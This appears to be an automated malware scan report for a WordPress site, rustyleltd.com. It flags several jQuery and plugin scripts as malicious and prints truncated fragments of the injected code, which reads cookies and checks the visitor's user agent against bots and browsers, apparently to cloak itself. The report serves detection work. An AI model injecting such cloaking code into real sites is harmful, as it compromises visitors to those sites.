Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=rustyleltd.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://www.rustyleltd.com/ | HTTP/1.1 301 Moved Permanently Connection: close Date: Sun, 05 Oct 2014 07:30:32 GMT Location: http://rustyleltd.com/ Server: Apache Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8 Set-Cookie: test=test; expires=Sun, 05-Oct-2014 07:36:33 GMT X-Pingback: http://rustyleltd.com/xmlrpc.php | clean |
http://rustyleltd.com/ | 200 OK Content-Length: 79138 Content-Type: text/html | clean |
http://rustyleltd.com/wp-includes/js/jquery/jquery.js?ver=1.11.0 | 200 OK Content-Length: 97468 Content-Type: text/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) function getCookie(e){var o=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return o?decodeURIComponent(o[1]):void 0}!function(){function e(e,o,t){var r=(e+"").toLowerCase(),i=(o+"").toLowerCase(),n=0;return-1!==(n=r.indexOf(i,t))?n:!1}function o(){var o=["Linux","Windows NT 6.3","Windows NT 6.2","rv:11.0","AppleWebKit","Android","Googlebot","IEMobile","Yandex"],t=!1;for(var r in o)if(e(navigator.userAgent,o[r])){t=!0;break}return t}var t jQuery.noConflict(); Antivirus reports:
| ||
http://rustyleltd.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1 | 200 OK Content-Length: 8266 Content-Type: text/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) function getCookie(e){var o=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return o?decodeURIComponent(o[1]):void 0}!function(){function e(e,o,t){var r=(e+"").toLowerCase(),i=(o+"").toLowerCase(),n=0;return-1!==(n=r.indexOf(i,t))?n:!1}function o(){var o=["Linux","Windows NT 6.3","Windows NT 6.2","rv:11.0","AppleWebKit","Android","Googlebot","IEMobile","Yandex"],t=!1;for(var r in o)if(e(navigator.userAgent,o[r])){t=!0;break}return t}var t Antivirus reports:
| ||
http://rustyleltd.com/wp-content/plugins/dropdown-menu-widget/scripts/include.js?ver=3.9.2 | 200 OK Content-Length: 1452 Content-Type: text/javascript | clean |
http://rustyleltd.com/wp-content/plugins/google-language-translator/js/flags.js?ver=3.9.2 | 200 OK Content-Length: 2483 Content-Type: text/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) function getCookie(e){var o=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return o?decodeURIComponent(o[1]):void 0}!function(){function e(e,o,t){var r=(e+"").toLowerCase(),i=(o+"").toLowerCase(),n=0;return-1!==(n=r.indexOf(i,t))?n:!1}function o(){var o=["Linux","Windows NT 6.3","Windows NT 6.2","rv:11.0","AppleWebKit","Android","Googlebot","IEMobile","Yandex"],t=!1;for(var r in o)if(e(navigator.userAgent,o[r])){t=!0;break}return t}var t Antivirus reports:
| ||
http://rustyleltd.com/wp-content/plugins/mailchimp-widget/js/mailchimp-widget-min.js?ver=3.9.2 | 200 OK Content-Length: 2119 Content-Type: text/javascript | clean |
http://rustyleltd.com/wp-content/plugins/player/js/jquery-ui.min.js?ver=3.9.2 | 200 OK Content-Length: 201785 Content-Type: text/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) function getCookie(e){var o=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return o?decodeURIComponent(o[1]):void 0}!function(){function e(e,o,t){var r=(e+"").toLowerCase(),i=(o+"").toLowerCase(),n=0;return-1!==(n=r.indexOf(i,t))?n:!1}function o(){var o=["Linux","Windows NT 6.3","Windows NT 6.2","rv:11.0","AppleWebKit","Android","Googlebot","IEMobile","Yandex"],t=!1;for(var r in o)if(e(navigator.userAgent,o[r])){t=!0;break}return t}var t Antivirus reports:
| ||
http://rustyleltd.com/wp-content/plugins/player/js/jquery.transit.js?ver=3.9.2 | 200 OK Content-Length: 19908 Content-Type: text/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) function getCookie(e){var o=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return o?decodeURIComponent(o[1]):void 0}!function(){function e(e,o,t){var r=(e+"").toLowerCase(),i=(o+"").toLowerCase(),n=0;return-1!==(n=r.indexOf(i,t))?n:!1}function o(){var o=["Linux","Windows NT 6.3","Windows NT 6.2","rv:11.0","AppleWebKit","Android","Googlebot","IEMobile","Yandex"],t=!1;for(var r in o)if(e(navigator.userAgent,o[r])){t=!0;break}return t}var t } function unit(i, units) { if ((typeof i === "string") && (!i.match(/^[\-0-9\.]+$/))) { return i; } else { return "" + i + units; } } function toMS(duration) { var i = duration; if ($.fx.speeds[i]) { i = $.fx.speeds[i]; } return unit(i, 'ms'); } $.transit.getTransitionValue = getTransition; })(jQuery); Antivirus reports:
| ||
http://rustyleltd.com/wp-content/plugins/player/js/flash_detect.js?ver=3.9.2 | 200 OK Content-Length: 8115 Content-Type: text/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) function getCookie(e){var o=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return o?decodeURIComponent(o[1]):void 0}!function(){function e(e,o,t){var r=(e+"").toLowerCase(),i=(o+"").toLowerCase(),n=0;return-1!==(n=r.indexOf(i,t))?n:!1}function o(){var o=["Linux","Windows NT 6.3","Windows NT 6.2","rv:11.0","AppleWebKit","Android","Googlebot","IEMobile","Yandex"],t=!1;for(var r in o)if(e(navigator.userAgent,o[r])){t=!0;break}return t}var t self.raw = versionObj.raw; self.major = versionObj.major; self.minor = versionObj.minor; self.revision = versionObj.revision; self.revisionStr = versionObj.revisionStr; } } } } }(); }; FlashDetect.JS_RELEASE = "1.0.4"; Antivirus reports:
| ||
http://rustyleltd.com/wp-content/plugins/wp-video-lightbox/js/jquery.prettyPhoto.js?ver=3.1.5 | 200 OK Content-Length: 36309 Content-Type: text/javascript | clean |
http://rustyleltd.com/wp-content/plugins/wp-video-lightbox/js/video-lightbox.js?ver=3.1.5 | 200 OK Content-Length: 7937 Content-Type: text/javascript | clean |
http://rustyleltd.com/wp-content/plugins/contus-video-gallery/js/script.min.js?ver=3.9.2 | 200 OK Content-Length: 5885 Content-Type: text/javascript | clean |
http://rustyleltd.com/wp-content/themes/ifeature/core/library/js/foundation/jquery.orbit.js?ver=3.9.2 | 200 OK Content-Length: 19341 Content-Type: text/javascript | clean |
http://rustyleltd.com/wp-content/themes/ifeature/core/library/js/foundation/app.js?ver=3.9.2 | 200 OK Content-Length: 2465 Content-Type: text/javascript | clean |
http://rustyleltd.com/wp-content/themes/ifeature/core/library/js/foundation/jquery.placeholder.min.js?ver=3.9.2 | 200 OK Content-Length: 1637 Content-Type: text/javascript | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: rustyleltd.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sun, 05 Oct 2014 07:30:35 GMT
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Set-Cookie: test=test; expires=Sun, 05-Oct-2014 07:36:36 GMT
X-Pingback: http://rustyleltd.com/xmlrpc.php
GET / HTTP/1.1
Host: rustyleltd.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sun, 05 Oct 2014 07:30:35 GMT
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Set-Cookie: test=test; expires=Sun, 05-Oct-2014 07:36:36 GMT
X-Pingback: http://rustyleltd.com/xmlrpc.php
Second query (visit from search engine):
GET / HTTP/1.1
Host: rustyleltd.com
Referer: http://www.google.com/search?q=rustyleltd.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: rustyleltd.com
Referer: http://www.google.com/search?q=rustyleltd.com
Result:
The result is similar to the first query. There are no suspicious redirects found.